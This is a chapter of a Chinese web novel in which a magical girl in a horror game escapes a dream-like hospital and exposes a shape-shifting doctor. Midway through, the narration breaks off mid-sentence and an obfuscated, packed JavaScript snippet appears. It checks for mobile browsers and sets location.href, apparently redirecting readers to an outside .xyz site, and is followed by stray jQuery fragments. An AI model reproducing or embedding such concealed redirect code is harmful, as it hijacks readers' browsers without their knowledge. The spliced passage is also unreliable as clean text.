74. 醒过来

作品:《魔法少女误入惊悚游戏后

    花九月拍了拍手,看了一眼旁边被绑得严严实实的张医生,“还好我有经验。”


    前不久在小木身上用过一次束缚魔法,她还挺有手感的,至少这回没出现念错咒语这样的乌龙。


    “放开我。”张医生瞪着花九月,看起来好像要把人千刀万剐似的。


    他甚至都不害怕这突然出现的金色锁链。


    花九月没搭理他,她点开手环,翻来覆去地看,游戏的任务只有三个字,和她一起来这个副本的鹿笙他们也没有发任何消息。


    【醒过来。】


    难道她是在做梦?


    花九月掐了一把自己,很疼,但证明不了什么。


    “你在那边神神叨叨的干什么呢。”张医生依旧没有放弃挣扎,他想方设法离花九月近了一点,“你快把我放了,喂,你在听我说话吗。”


    封棉被花九月敲了出来,没好气地瞪了她一眼,顺便呛了她几句。


    然后他就看到花九月松了口气,不仅没像平时那样反驳回来,还露出了欣慰的表情。


    “我就说这地方不能多待。”封棉有些不满地说道,“好好的人被这个什么游戏整的,疑神疑鬼……你之前不也被拉入过梦境吗,又不是什么大事。”


    看到大变活人的张医生终于绷不住了,他颤抖着声音问道,“你们是人是鬼?”


    封棉露出了一个阴恻恻的笑容,还做了个抹脖子的动作,威胁的意思很明显,“你猜猜看。”


    他热衷于吓唬所有人。


    “外面的那些东西是什么?”花九月也琢磨过来了,如果是梦境,就去找核心把它打碎,如果是真实的,那就更好办了。


    总之不能一直在这里缩着。


    张医生闭着嘴不肯吱声。


    “那我去开门了?”花九月晃了晃手里的钥匙,成功让张医生变了脸色。


    这个地方的隔音效果很差,能清楚听到走廊里的脚步声,还有一阵一阵的拖拽声和吼叫声。


    “我来帮你开。”封棉接过花九月手里的钥匙,开了里面的锁后又准备开最外面的,一点也不含糊。


    “等等,你们不要命了吗?”张医生的声音很沙哑,他语气急切,试图让花九月他们停下来。


    封棉回头看他,露出了一抹可以被称得上讥讽的笑,“死的反正不会是我们。”


    张医生愣了一下,很快就明白了他话外的意思,“你不能这样。”


    他又挣扎了起来,眼看着封棉就要把门打开,花九月也没有要阻止的意思,他闭上了眼睛,“快停下,事情没有你们想的那么简单。”


    “我就不。”封棉把门一推,张医生脸上出现了有如实质的惊恐。


    最先进来的是刚才的那个护士,她的身体扭曲成了诡异的角度,脖子更是以180度向后翻转。


    她的半截身子已经被啃的破破烂烂的,却不影响她行动。


    “医生,医生,你救救我啊。”


    张医生被吓晕了过去。


    花九月解开锁链,张医生也没有反应,看起来是真的晕了。


    护士的眼睛是完全漆黑的,没有一点眼白,她转头看向花九月,“救我。”


    说完,护士突然以一个不可思议的速度扑向她。


    她的嘴巴咧到耳根,露出里面密密麻麻的尖牙。


    “咚”的一声,护士也倒下了。


    魔杖在手中转了个圈,花九月探头往走廊里看了一眼,空无一人,之前听到的声音好像是他们的错觉一样。


    花九月往外走,只能看到血迹和玻璃或其他设施的碎片,墙上的应急灯闪烁着红光,将一切染上了一层血色。


    “好安静啊。”花九月感慨了一声,“早知道把张医生带上了,好歹还有个人能说话。”


    这一层楼是没有什么东西了,往上走还是往下走,这又成了一个问题。


    “抛个硬币决定吧。”花九月扔出了一枚硬币,硬币在地上弹了起来,然后穿过地板消失了。


    花九月跺了跺脚,下一秒也掉了下去。


    摔在楼下的地板上,花九月没有受到一点影响,拍了拍身上的灰,“我现在是真的觉得这是在梦里了。”


    混乱又没有逻辑。


    封棉看似随意地打量了一圈周围,“这里也没人。”


    “你说,我要是倒过去站在房顶上,能不能穿回去?”花九月开始奇思妙想。


    “你可以试试。”封棉哼笑了一声。


    花九月叹了口气,“还是算了,趁早离开这里和鹿笙他们汇合才是重点。”


    透过旁边的玻璃护栏,可以清晰看到底下的场景。


    一片红色,每一层都大同小异。


    花九月往下走了差不多四五层,终于看到了点不一样的东西。


    “这里也太黑了吧。”


    普通的黑暗只是单纯的没有光而已,不会给人这种毛骨悚然的感觉。


    花九月光是看着就觉得下面的黑色会吞噬一切,她试探着伸出一只手。


    “别碰它!”一道本来不应该出现在这里的声音响了起来。


    张医生一脸紧张地看着花九月,“它是虚无,凡是碰到它的人或者东西,都会消失。”


    花九月轻笑,“如果你不出现,我可能还要考虑一会。”


    说完这句话,她就转身投入了这片黑暗。


    封棉已经做好了见势不对就出手的准备,虽然他相信花九月的判断,但“意外”总是防不胜防。


    他就是花九月留下的后手。


    很奇妙的感觉,周围的黑暗不是视觉上的,而是某种更本质的东西。


    它吞噬的不仅是光,还有声音,温度,甚至时间的概念。


    花九月算是真身体验了一回什么叫做浓稠得化不开的黑,像液体一样从四面八方涌来,钻进每一个缝隙,连呼吸都带着一种粘稠的质感。


    没过多久,花九月重新睁开了眼睛。


    她还在床上,周围看起来依旧是医院,只不过坐在旁边的医生要正常多了,看她醒来,他用温和的语气问道,“你现在感觉怎么样,有没有哪里不舒服?”


    花九月摇摇头,“我没事。”


    “那就好。”医生从旁边的桌子上拿起一杯温水,递到她手边,“先喝点水,我们慢慢来,不用着急。”


    “这里是?”花九月下意识看手上的手环,原本用什么方法都摘不下去的手环不见了踪影。


    医生轻轻拉过一把椅子,坐在病床旁,目光温和而专注,“这里是医院。”


    他似乎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061239|157480||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回答过很多次这样的问题,“很安全,没有任何危险,我是你的主治医生,姓陈,你可以叫我陈医生。”


    花九月若有所思,“精神病院?”


    她好像知道这回是个什么套路了。


    “没错,但是你先不用害怕,你只是之前经历了一些情绪波动,可能不太记得了……是你的家人把你送来这里的,为了让你得到更好的照顾和治疗。”


    “你是不是做了一个很长的梦,经历了很多?那都是假的,不用担心,我们会一起帮你度过这个阶段。”


    花九月低下头,没有说话。


    陈医生再接再厉,“我知道你很难接受,但这确实是事实。”


    “九月,你磨磨蹭蹭的在干什么呢?”


    沈琦的声音突然从门口那边传来,陈医生错愕地回头。


    “这次小琦根本没跟过来好吗,演的也太假了。”花九月有些无奈地看了来人一眼,“快变回去,银砾。”


    银砾的体型抽长,变成了成年男子的体型,他唇角勾起一抹若有似无的笑意,“所以,你还是喜欢我这个样子?”


    花九月没有搭理他,而是看向陈医生,“这个也是事实,难道你要说他的存在是虚假的?”


    陈医生:“……”


    他看着银砾,眸中划过一点暗色,“怎么可能。”


    “你做的还算完善。”花九月摊了摊手,至少发现封棉不见了后,她是真的有一瞬产生了怀疑的,但谁让她不止有一张卡呢。


    银砾眼尾上挑,“我说怎么想到我了,唉,原来是迫不得已啊,真实太令人难过了。”


    花九月拍了拍他的肩膀,“别添乱。”


    陈医生脸上的温和尽数褪去,冷冷地看了花九月一眼,“看破了又如何,你还是没办法离开这里。”


    “不着急,我们可以先聊一聊。”花九月微笑着看向陈医生,“张医生是不是也是你。”


    陈医生愣了一下,面色不善,“什么张医生,我都不知道那是谁。”


    银砾凑近了几分,然后点了点他的胸膛,“撒谎呢。”


    他说话的时候向来都不是什么正常语气,陈医生起了一身鸡皮疙瘩,像是看怪物一样看着银砾,“你是变态吗?”


    被这么评价的银砾有些玩味地回答道,“这么说倒也没错。”


    陈医生有点想吐,他看向花九月,“你能不能让他正常一点。”


    花九月忍笑,“他已经很收敛了。”


    这叫收敛?


    陈医生嘴角抽搐,“你,我,算了,既然你都看出来了,那我就不装了,我确实是张医生。”


    这两个世界天差地别,唯一的共同点大概就是这个“医生”。


    想要真正离开这里,也必须从他身上下手。


    就在花九月思考该怎么解决问题的时候,陈医生突然出声道,“没办法,只能送你出去了。”


    他打开门,走廊里是熟悉的黑色。


    这次,花九月甚至能感觉到黑暗在皮肤上流动,十分诡异。


    银砾见缝插针,抓住了花九月的手腕,“一起啊。”


    花九月沉默了一下,对他这种不听指挥胡乱应付的行为习以为常,“那好吧。”


    十分有十二分的不情愿。